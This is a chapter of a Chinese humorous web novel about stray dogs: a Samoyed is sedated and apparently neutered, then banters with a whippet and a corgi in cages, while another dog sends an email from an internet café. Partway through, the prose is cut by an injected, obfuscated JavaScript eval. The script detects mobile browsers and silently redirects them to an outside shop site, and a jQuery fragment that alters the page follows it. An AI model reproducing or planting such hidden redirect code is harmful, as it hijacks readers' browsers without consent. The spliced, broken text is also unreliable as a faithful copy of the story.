答案是——
有。
明亮的白炽灯,格子线天花板,椰子平躺在钢板上,响亮地打了个喷嚏,自己爪子被人被捏住,它紧张地舔了舔嘴巴。
“来,吃。”疤痕男打开了个罐头,把罐头怼到椰子嘴边。
椰子小心翼翼看了眼对方。
周围都是刺鼻的气味,还混杂着些许血腥味,这种任人宰割的姿态,站着的人类戴着口罩,都让它不安的情绪达到高峰。
……可这是罐头诶!
它的纠结没有超过一分钟,就忍不住伸舌头舔了舔,尝到甜头后慢慢啃起来,站着的人见状对视了一眼。
椰子没注意他们说了什么,听了它一只小狗也听不懂,粉色的小舌头忙着卷肉吃。
忽然,屁股一阵尖锐的刺痛,椰子被刺激得想跳起来,它扭头想看是什么东西,结果眼前一黑,被人捂住眼睛。
随后眼皮打架困意涌上来,失去知觉前它听到同类的声音。
“诶?来了只白色的狗啊。”
“是刚人被抓到的,啧啧看起来最听话,就先拿它开刀了吧。”
“我问到那个血腥味了,看样子它已经被……”
吱呀——
时枸轻轻用头拱开门,进去后顺手关上了门,坐前台的人在打游戏,头也没抬说道:“欢迎光临。”
等半天没见人吱声,他抬起头看疑惑道:“咦,听错了吗?”
这是个半旧的网吧,电脑设备都不新,椅子的皮都裂开了,里面的顾客不算多,空气中弥漫着烟味、酒味和脚臭味,时枸被熏得直反胃。
她贴着掉漆的墙面走,网吧的光线比较昏暗,所有的人都戴着耳机打游戏,没有人发现潜进来一条狗。
“我X!什么傻X队友我服了!”角落传来了叫骂声:“栓条狗也比你会玩好吧!”
时枸就像等饭的苍蝇,闻见味儿就扑过去了。那个男子嘴上骂骂咧咧,放下耳机起身离开。
时枸立马跳上他的位置,她叼起旁边泡面碗的筷子,用筷子当笔熟练敲键盘,一只爪子按鼠标,她回想海报上的信息,给霸总写了一篇邮件。
系统叫了半天没反应,关键时候只能靠自己。
刚上完厕所回来的某人,看到眼前这一幕呆住了,他用手搓了把脸,吸口气再抬起头。
完了,熬出现幻觉了。
编辑完邮件点击发送,时枸伸了个大大的懒腰,回头就看到石化了的某人。
卧槽!兄弟你怎么回来了!
那个人伸手掏出了手机,时枸吓得瞪大了眼睛,不会是要报警吧我X!
正准备一个飞踹攻击,就听见对方念叨着说:“喂,120吗?我出现幻觉了。”
“黄花菜都凉了街191号的网吧,我刚才、看到有条狗在玩电脑,你在笑什么?不要以为我在开玩笑,马上派车来接我啊!”
时枸跳下椅子,沉默拍了拍他。
兄弟,很抱歉。
从网吧出来后,时枸有些迷茫,距离椰子被绑架,已经过去了一天。昨晚她回到天桥底下,阿华田和度兹都不在。
今天早上晨曦未亮的时候,睁眼发现面前放了两条鱼。
度兹回来又一言不发走了。
“唉,大海捞针啊。”时枸望天嘟囔着。
微风拂过吹起落叶,时枸表情变得凝重,这个熟悉的味道不是……
迷迷糊糊间,椰子睁开眼睛,它是被舔醒的。
一只花白的细狗隔着栏杆舔它,见它醒了就仰头吹了声口哨,屁股高高翘起猛甩尾巴:“嗨宝贝~你醒了啊。”
“唔……你是哪条狗啊?”椰子有气无力地问。
黑白的细狗闻言,尾巴一下子垂下来,它难过失落地开口:“你真的不记得了吗?”
“嗯……不记得。”椰子想了半天憋出句。
细狗听见这回答更难过了,细长的四肢“啪”地贴笼子上,比被丈夫抛弃带四娃流浪,还身怀六甲的苦情剧女主还悲愤:“你忘了和我说过什么吗?你忘了在那片绿草地,那个有气泡泡的午后吗?那我们之间的回忆算什么!”
椰子被问得有些心虚,在脑子里使劲翻找记忆,连底下结网落灰的往事,自己没断奶妈妈身边时,和兄弟争奶打架的事都想起来了。
愣是没想起这条花白的细狗是哪条狗。
“你是家里有个院子,因为主人不在家,每天扒门求路人摸那只?”
细狗翻白眼否认。
“那你是爱吃猫屎,经常跟在猫后面,就算被当变态狗狂扇巴掌,也要吃到新鲜热乎的那只?”
细狗背过身无语。
“那你是被我抢了狗粮,从百草园追到三味书屋,把自己跑撅了的那只?”
细狗发出叹息声。
“嘶……你给我点提示吧。”
椰子半撑起身子,笼子里面有些遮光,它爬想起来清楚点。
下一秒,下身传来剧烈疼痛,感觉那块要撕裂了。
痛得它不断呻吟:“哇哇哇好痛啊!!!”
嚷嚷的动静整得别狗都醒了,睡在椰子上面笼子的狗大骂:“有没有素质啊!下面的要调情就滚出,这里可不是你们的狗窝!”
细狗本来满脸担心,马上换了副凶狠嘴脸,它对着椰子是眼巴巴,对骂它的狗则凶巴巴。
它发出狠厉威胁的低吼:“喂,你再狗叫一句,我就打爆你饭碗。”
“本来就是啊,都进来这里了,还隔着调情呢。”上笼的狗是只柯基,它长得膘肥体壮,看起来不是好惹的。
就算被细狗的气势唬住,站起来没有细狗一半高,柯基依旧嘴硬叫嚣喊着:“你们两个都是公的,那只肥狗刚刚还被人给……”
话音戛然而止,因为它的嗓子眼,被细狗的爪子捅了。
“呕!”响亮的一声干呕。
柯基:不是,你礼貌吗?
椰子也被它吓了一跳,它看到细狗瞬间窜起来,直立的姿势扒栏杆,细长的腿像根棍子,以迅雷不及掩耳之势,直插对方的嗓子眼。
柯基一想骂,细狗就桶它,真.手动静音。
柯基昨晚的饭都快被捅出来了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582828|142098||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,这可恶的细狗简直不讲武德,它除了主人的拖鞋,还没有服过什么东西。
它不信邪转过身,面朝墙壁背朝狗,依旧嘴欠欠说着:“你这个狗登西,看你还怎么搞我,难道我说的有错吗,半夜不睡觉在这扰狗,你们又不可能谈恋爱。”
“为什么不能啊?”椰子顺着呆呆问道。
柯基神情得意哼声:“因为你已经被割掉……嗷汪!!!”
“啊啊啊啊癫狗!你居然!你你你、”结巴了个半天,柯基都说不出。在它刚要爆料的时候,扒拉在笼子前的细狗,一爪子捅了它的菊花。
细狗捅完柯基菊花后,爪子搭在狗盆上,发出低沉的威胁:“你再哗哗一句。”
腿长了不起吗!
柯基愤愤暗骂。
狗是个会见风使舵的物种,柯基老实闭眼不敢再吱声。
细狗收起爪子,蹲坐在椰子前,很认真对它说:“你那时候还小,豆丁那么大个,老是追着我玩,我怕踩到你就会……”它像个著名的小说人物,那个光头和尚样絮絮叨叨,讲了一堆陈年往事,椰子一点没想起来,反而听得昏昏欲睡。
“你想起来了吗?”
椰子被问得打一个机灵,支支吾吾想怎么狡辩,接着就听到细狗喊它:“小美。”
“等等,小美是谁?”
“你不是小美?”
“我叫椰子。”
“哦,打扰了。”
敢情讲了半天,你是认错狗了?
沉默是今晚的康桥。
细狗不死心比划着问:“那你有没有见过,毛和你一样雪白,长得像个圆球,这么大个的狗呢?”
偷听了半天的柯基,忍不住插嘴无语道:“拜托,有没有一种可能,你说的小美是只博美,这萨摩耶都快比得上猪了,细狗你眼睛没事吧?”
见细狗要扑上来,它赶紧补充句说:“呃呃诶!我知道那个博美,它昨天被接走了。”
柯基打发走了细狗,听到椰子天真问它:“猪是什么呀?”
“一种粉色的动物。”
“你懂好多哦!”椰子崇拜星星眼,它感觉柯基不一般:“我们为什么会在这?天黑了我再不回去,老大它们都有要担心了。”它把头凑过去小心问:“我们是不是遇到狗贩子了,我不想被吃掉啊呜呜呜……”说着豆大的眼里就滚落下来。
“蠢狗,谁和你说是狗贩子。”柯基像看个弱智,表情很拽地嘲讽。
“阿华田和我说的啊,它说抓狗的都是狗贩子。”想起以前经过家狗肉店,椰子当场就被吓尿了,靠阿华田在前面带路,自己才敢跟着走那条街。
同类惨状记在椰子脑子里,像个深深的烙印挥之不去。
椰子抖得笼子都在震,柯基的小短腿猛一跺:“别抖了傻狗!你不会被吃掉,你只是失去了OO!”
闻言,椰子停止抖动,它歪头诚心问:“OO是什么?”
爪子用力踩到开花,柯基从牙缝挤出一句:“你怎么这么多话!”
“没办法惹,作者立的狗设。”
……